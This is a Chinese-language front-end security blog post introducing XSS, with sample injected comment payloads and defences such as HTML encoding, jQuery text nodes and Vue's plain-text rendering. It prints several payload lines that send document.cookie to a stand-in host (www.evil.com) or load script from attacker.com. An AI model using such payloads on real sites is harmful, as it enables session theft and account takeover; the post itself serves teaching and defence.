[Tips] 本文是从 jianshu 平台重新修改编辑后移植来的,比上一版本做了些修订。

最近在看一些关于网络安全的问题,当然许多是跟前端相关的,包括且不局限于xss和xsrf 了,那么小编就结合最近的学习实践谈一些粗浅的认识。(\(^o^)/,我是一个喜欢做实验的家伙)

XSS (Cross Site Script)跨站脚本攻击!

XSS 意思就是跨站脚本攻击。这里面也涉及到跨域的问题,特别是在后面谈到XSRF防御的时候。简单来说XSS就是来自外部(用户)输入的脚本被注入到了受害网站,如果该网站没有对用户输入进行过滤,那么这段脚本可能被之后访问该网站的用户浏览器执行。

举个栗子:

假如某个网站有评论功能且没有针对XSS 的过滤,那么小编在某文章下评论了以下内容:

<script>alert("你查看了我的文章!!快打赏!!不打赏不准走!!哈哈")</script>

那么这段字符串POST给了网站服务器,没有对脚本进行过滤或者Encode,啥都没做。原封不动地加入了原本的HTML页面,那么当其他用户查看该文章的时候浏览器就会自动执行HTML 文档中的这句 JS 脚本 ,弹出来 吓人 _ ...

这还不算啥,顶多就是烦人。但如果评论里面写的是:

<script>window.open(www.evil.com?content=document.cookie);</script>

当你再次访问这篇文章的时候,你在当前域下的cookie被小编的恶意网站(www.evil.com)给get到了。。这个网站的后台程序可能会拿到你的cookie(其中包含sessionId 等等),然后借此cookie登陆你的网站账户,乱发段子。当然,目前主流的网站都是禁止JS 脚本获取并且操作cookie的,并且浏览器中的安全机制使得cookie 不会被发送到跨域的其他网站中。

其实,有个非常棒的图展示了整个XSS攻击的过程。

>> how-xss-works

所以作为一个合格的WebApp,不能相信任何用户输入内容, 更不能对数据未加处理就直接Print到HTML DOM 结构里。当今主流的一些前端框架(Angular,Vue.js 等)都实现了对 XSS 的防御,结合服务器端的Token机制更是可以防御XSRF(跨站伪造请求)

防御

那么到底如何防御这种简单的注入攻击呢?

简单地说,核心思想就是:不相信任何用户输入,不允许用户注入脚本,例如<script> 等内容。在需要显示脚本内容之前对其进行Encode,再显示在HTML中。例如Jquery 通过 $.text(userInput) 来创建纯文本节点,而不是把userInput 当作脚本来执行。 Vue.js 等框架则具有更高的安全策略,默认把所有动态内容渲染为纯文本,当你需要把内容执行的时候需要显式调用v-html 指令,如下:

<p >Using mustaches: {{ rawHtml }} </p> // 默认安全渲染纯文本

<p >Using v-html directive: <span v-html="rawHtml"> </span></p> // 当作Html或js 解释执行

除了<script></script>这样的标签在DOM结构中会自动执行,还有哪些??

对的!<img src="attacker.com/attack.js" /> <a href="www.evil.com?content=document.cookie"></a> 等等都能实现GET请求外部脚本,或者向非法网站发送POST请求,可能会修改你正在访问的网站的密码,所以这些内容都应该做Encode处理,总结起来,原理上就是把这些带有 "<", ">", '\"' 等内容转义即可。

举个栗子:

用户输入内容是:<script>alert(" peiqian!")</script>

无害处理后字符串是:

>> 转换后的字符串

转换背后的机制是一套特殊字符安全字符的映射表, 这与浏览器对HTML的渲染机制有关。各大浏览器中的JS引擎碰到<script> </script>这样的标签,会解析其中的代码,并且执行。但碰到 &lt;&gt; 这样的字符就不会当做JS 执行,而是作为普通字符串打印。大家可以试试看Encode 前后这个例子在浏览器中的表现。

映射表参考链接: 映射表

参考文章

cross-site-scripting

全面学习XSS

更多专业前端知识,请上 【猿2048】www.mk2048.com

注意安全!XSS 和 XSRF相关推荐

  1. 前端安全XSS和XSRF

    gitbook完整版集合 文章目录 gitbook完整版集合 安全 问题:常见的web前端攻击方式有哪些 XSS跨站请求攻击 XSS预防 XSRF跨站请求伪造(类似于钓鱼链接) XSRF预防 安全 问 ...

  2. 【安全-前端】XSS、XSRF

    XSS跨站请求攻击 一个博客网站,我发表了一篇文章,其中嵌入了<script>脚本 脚本内容:获取cookie,发送到我的服务器(服务器配合跨域) 发布了这篇博客,当有人查看他,我就能轻松 ...

  3. xss,csrf,xsrf

    Xss跨站脚本攻击(Cross Site Scripting) 原理: HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之 ...

  4. 前端安全之xss与xsrf

    提到前端安全,往往离不开xss(跨站脚本攻击).xsrf(跨站伪造请求),在此记录一下关于前端安全的学习过程. 什么是xss? 跨站脚本攻击(Cross Site Scripting),为了不和css ...

  5. 前端安全之XSS和XSRF攻击,及其解决方案

    xss攻击: Cross Site Scripting:跨站脚本 (不用CSS,是因为CSS已经代表了样式.而X有未知和扩展的含义.) 通过document.cookie获取用户的cookie,解决方 ...

  6. XSRF:它是什么,如何工作,如何阻止它?

    最近出现了一种不太明显的骇客,它是现在臭名昭著的分支 XSS . 它被称为跨站点请求伪造,简称XSRF. XSRF是一种临时身份盗用形式,可能导致您的计算机启动银行交易,发送电子邮件或短信,甚至更改您 ...

  7. XSRF:它是什么,如何工作,以及如何阻止它?

    最近出现了一种不太明显的骇客,它是现在臭名昭著的分支 XSS . 它被称为跨站请求伪造,简称XSRF. XSRF是一种临时的身份盗用形式,可能导致您的计算机启动银行交易,发送电子邮件或短信,甚至更改您 ...

  8. 实力坑队友! CTO 写出低级 Bug,致公司 70 GB 数据遭泄露!

    点击上方"AI遇见机器学习",选择"星标"公众号 重磅干货,第一时间送达 大数据文摘转载自CSDN(ID:CSDNnews) 整理:苏宓 近日,据外媒报道,美国 ...

  9. [转] 前后端分离之JWT用户认证

    [From] http://www.jianshu.com/p/180a870a308a 在前后端分离开发时为什么需要用户认证呢?原因是由于HTTP协定是不储存状态的(stateless),这意味着当 ...

最新文章

  1. python threading模块多线程源码示例(二)
  2. 线性代数笔记:Khatri-Rao积
  3. python程序调试logging_python-logging模块的简单使用
  4. 使用分层网络模型的两个优点是什么_从零开始学网络|搞懂OSI参考模型和TCP/IP分层模型,看这篇文章就够了...
  5. PIO导出Excel 设置样式
  6. python100例详解-Python字典实现简单的三级菜单(实例讲解)
  7. 漫画:博弈论系列 之 囚徒困境
  8. 河南职称计算机考试多少分通过,2019年河南职称计算机考试报名通知
  9. Linux 定时执行任务
  10. css写字体浮雕效果,使用CSS3的text-shadow制作浮雕文字阴影和多重文字阴影效果-网站程序网...
  11. Angular启动项目时报错
  12. NeurIPS latex中文支持
  13. Cisco 2900xl/3500xl/2950/3550密码恢复流程
  14. 纯CSS3写的10个不同的酷炫图片遮罩层效果【转】
  15. php使用imagemagick处理图片圆角
  16. 如何设计一个高并发系统架构
  17. Python开发者的画笔-turtle
  18. 批量自定义修改文件夹名称,这样操作更简单
  19. Jenkins 用户角色及权限管理
  20. 攒了一冬的甜,米易枇杷借力新电商走出川西大山

热门文章

  1. c语言中如何防止输入的格式存在错误,C语言如何避免输入
  2. Python和Java结合的项目实战_[项目实战] Python高级教程项目实战篇 Python和Java结合的项目实战 视频教程 [...
  3. 三句话讲清楚直接初始化与拷贝初始化
  4. 管理角色认知-工程师到管理者角色发生了哪些变化?
  5. cpta 好像有漏洞
  6. python网络聊天器多线程版
  7. 【递归:把目录下所有文件的绝对路径给输出在控制台】
  8. 洛谷P3857 [TJOI2008]彩灯(线性基)
  9. poj1419 Graph Coloring 最大独立集(最大团)
  10. (原创)SpringBoot入门